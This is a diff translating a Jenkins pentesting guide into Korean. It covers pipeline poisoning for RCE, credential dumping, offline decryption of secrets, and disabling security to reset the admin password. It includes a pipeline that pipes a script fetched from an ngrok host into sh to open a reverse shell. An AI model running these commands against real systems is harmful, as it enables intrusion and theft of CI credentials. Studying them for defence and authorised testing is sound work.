**파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline Exploitation
|
||||
## 파이프라인 악용
|
||||
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
파이프라인을 악용하려면 여전히 Jenkins에 접근할 수 있어야 합니다.
|
||||
|
||||
### Build Pipelines
|
||||
### 빌드 파이프라인
|
||||
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
**파이프라인**은 **프로젝트의 빌드 메커니즘**으로도 사용될 수 있으며, 이 경우 **저장소 내의 파일**이 파이프라인 구문을 포함하도록 구성될 수 있습니다. 기본적으로 `/Jenkinsfile`이 사용됩니다:
|
||||
|
||||
.png>)
|
||||
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
또한 **다른 위치에 파이프라인 구성 파일을 저장하는 것**도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리**하는 목표를 가지고 있습니다.
|
||||
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **파이프라인을 트리거할 수 있습니다**. Jenkins에 접근하지 않고도 말입니다.\
|
||||
공격자가 **일부 브랜치 보호를 우회해야 할 수도 있습니다**(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
- **주 브랜치에 대한 풀 요청**(또는 다른 브랜치에 대한 가능성)
|
||||
- **주 브랜치에 푸시**(또는 다른 브랜치에 대한 가능성)
|
||||
- **주 브랜치를 업데이트**하고 실행될 때까지 기다리기
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
> **외부 사용자**인 경우, **다른 사용자/조직의** 저장소의 **주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**.
|
||||
|
||||
### Pipeline RCE
|
||||
### 파이프라인 RCE
|
||||
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
|
||||
이전 RCE 섹션에서는 [**파이프라인을 수정하여 RCE를 얻는 기술**](./#rce-creating-modifying-pipeline)이 이미 언급되었습니다.
|
||||
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
### 환경 변수 확인
|
||||
|
||||
**전체 파이프라인** 또는 특정 단계에 대해 **일반 텍스트 환경 변수를 선언**할 수 있습니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### 비밀 덤프
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정보는 기본 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job/<project-name>/configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**하고 사용자 정의/오염된 파이프라인을 실행해야 합니다.
|
||||
|
||||
또 다른 문제는, 파이프라인의 **env** 내에서 **비밀을 얻으려면 비밀의 이름과 유형을 알아야** 한다는 것입니다. 예를 들어, **`usernamePassword`** **비밀**을 **`string`** **비밀**로 **로드**하려고 하면 이 **오류**가 발생합니다:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
여기에서 몇 가지 일반적인 비밀 유형을 로드하는 방법이 있습니다:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
이 페이지의 끝에서 **모든 자격 증명 유형**을 **찾을 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
|
||||
> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타격**하는 것입니다 (예: **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\
|
||||
> 이를 수행하는 방법에 대한 자세한 내용은 [노드 및 에이전트 섹션](./#nodes-and-agents)과 [사후 활용 섹션](./#post-exploitation)을 참조하십시오.
|
||||
|
||||
### Triggers
|
||||
### 트리거
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
[문서에서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` 지시어는 **파이프라인이 재트리거되어야 하는 자동화된 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 높기 때문에 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다.
|
||||
|
||||
Cron 예:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
|
||||
Check **other examples in the docs**.
|
||||
|
||||
### Nodes & Agents
|
||||
@@ -258,55 +254,51 @@ For more information check the basic information:
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more:
|
||||
|
||||
.png>)
|
||||
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
It is **특히 Built-In 노드를 손상시키는 것이 흥미롭습니다** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### 완전한 예제
|
||||
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 스테이지 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 경우:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
## 임의 파일 읽기를 통한 RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -326,19 +318,17 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
## 포스트 익스플로잇
|
||||
|
||||
### 메타스플로잇
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
|
||||
### Jenkins Secrets
|
||||
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
당신은 충분한 권한이 있다면 `/credentials/`에 접근하여 비밀을 나열할 수 있습니다. 이는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 그 안에서 볼 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -350,19 +340,18 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
이 파일들은 **Jenkins 비밀을 복호화하는 데 필요합니다**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Such **secrets can usually be found in**:
|
||||
이러한 **비밀은 일반적으로 다음에서 찾을 수 있습니다**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Here's a regex to find them:
|
||||
|
||||
다음은 이를 찾기 위한 정규 표현식입니다:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -372,11 +361,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins 비밀을 오프라인으로 복호화하기
|
||||
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**. [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py)
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -384,23 +371,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
#### Groovy에서 Jenkins 비밀 해독하기
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### 새 관리자 사용자 만들기
|
||||
|
||||
### Create new admin user
|
||||
1. `/var/lib/jenkins/config.xml` 또는 `C:\Program Files (x86)\Jenkis\`에서 Jenkins config.xml 파일에 접근합니다.
|
||||
2. `<useSecurity>true</useSecurity>`라는 단어를 검색하고 **`true`**를 **`false`**로 변경합니다.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Jenkins** 서버를 **재시작**합니다: `service jenkins restart`
|
||||
4. 이제 Jenkins 포털로 다시 가면 **Jenkins는 자격 증명을 요청하지 않습니다**. "**Manage Jenkins**"로 이동하여 **관리자 비밀번호를 다시 설정**합니다.
|
||||
5. 설정을 `<useSecurity>true</useSecurity>`로 변경하여 **보안을 다시 활성화**하고 **Jenkins를 다시 재시작**합니다.
|
||||
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
## 참고문헌
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -410,7 +394,3 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,48 +6,48 @@
|
||||
|
||||
### Username + Password
|
||||
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
Jenkins에 로그인하는 가장 일반적인 방법은 사용자 이름 또는 비밀번호입니다.
|
||||
|
||||
### Cookie
|
||||
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
**인증된 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 모든 세션을 종료할 수 있지만, 쿠키가 도난당했음을 먼저 알아야 합니다).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하도록** 구성할 수 있습니다.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
**사용자는 토큰을 생성하여** 애플리케이션이 CLI 또는 REST API를 통해 자신을 가장할 수 있도록 접근을 제공합니다.
|
||||
|
||||
### SSH Keys
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서 발췌)
|
||||
|
||||
## Authorization
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
`/configureSecurity`에서 **Jenkins의 권한 부여 방법을 구성할 수 있습니다**. 여러 가지 옵션이 있습니다:
|
||||
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
- **누구나 무엇이든 할 수 있음**: 익명 접근조차도 서버를 관리할 수 있습니다.
|
||||
- **레거시 모드**: Jenkins <1.164와 동일합니다. **"admin" 역할**이 있는 경우 시스템에 대한 **전체 제어**가 부여되며, **그렇지 않은 경우**(익명 사용자 포함) **읽기** 접근만 가능합니다.
|
||||
- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어가 없는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다.
|
||||
- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**anonymous**'와 **모든 인증된 사용자**를 나타내는 '**authenticated**'가 포함됩니다.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 정의된 추가 ACL 행렬을 허용하는** "**행렬 기반 보안**"의 확장입니다.
|
||||
- **역할 기반 전략:** **역할 기반 전략**을 사용하여 권한을 정의할 수 있습니다. `/role-strategy`에서 역할을 관리합니다.
|
||||
|
||||
## **Security Realm**
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
`/configureSecurity`에서 **보안 영역을 구성할 수 있습니다**. 기본적으로 Jenkins는 몇 가지 다른 보안 영역에 대한 지원을 포함합니다:
|
||||
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
- **서블릿 컨테이너에 위임**: **Jenkins 컨트롤러를 실행하는 서블릿 컨테이너에 대한 인증을 위임**합니다. 예: [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins의 자체 사용자 데이터베이스:** 외부 시스템에 위임하는 대신 **Jenkins의 내장 사용자 데이터 저장소**를 사용하여 인증합니다. 기본적으로 활성화되어 있습니다.
|
||||
- **LDAP**: 구성된 LDAP 서버에 모든 인증을 위임하며, 사용자와 그룹 모두 포함됩니다.
|
||||
- **Unix 사용자/그룹 데이터베이스**: **Jenkins 컨트롤러의 기본 Unix** OS 수준 사용자 데이터베이스에 인증을 위임합니다. 이 모드는 권한 부여를 위해 Unix 그룹을 재사용할 수 있도록 합니다.
|
||||
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
플러그인은 Jenkins를 기존 신원 시스템에 통합하는 데 유용할 수 있는 추가 보안 영역을 제공할 수 있습니다:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
@@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서의 정의:
|
||||
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
**노드**는 **빌드 에이전트가 실행되는 머신**입니다. Jenkins는 각 연결된 노드의 디스크 공간, 여유 임시 공간, 여유 스왑, 시계 시간/동기화 및 응답 시간을 모니터링합니다. 이러한 값 중 하나라도 구성된 임계값을 초과하면 노드는 오프라인 상태가 됩니다.
|
||||
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
**에이전트**는 **Jenkins 컨트롤러를 대신하여 작업 실행을 관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스입니다**.
|
||||
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
**실행기**는 **작업 실행을 위한 슬롯**입니다. 본질적으로, 이는 **에이전트의 스레드**입니다. 노드의 **실행기 수**는 해당 노드에서 동시에 실행할 수 있는 **동시 작업 수**를 정의합니다. 즉, 이는 해당 노드에서 동시에 실행할 수 있는 **동시 파이프라인 `단계` 수**를 결정합니다.
|
||||
|
||||
## Jenkins Secrets
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서의 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호학 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호가 없습니다. 대부분의 사용자와 개발자는 일반적으로 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 CBC 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다:
|
||||
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
- `hudson.util.Secret`: 일반 비밀에 사용됩니다;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다;
|
||||
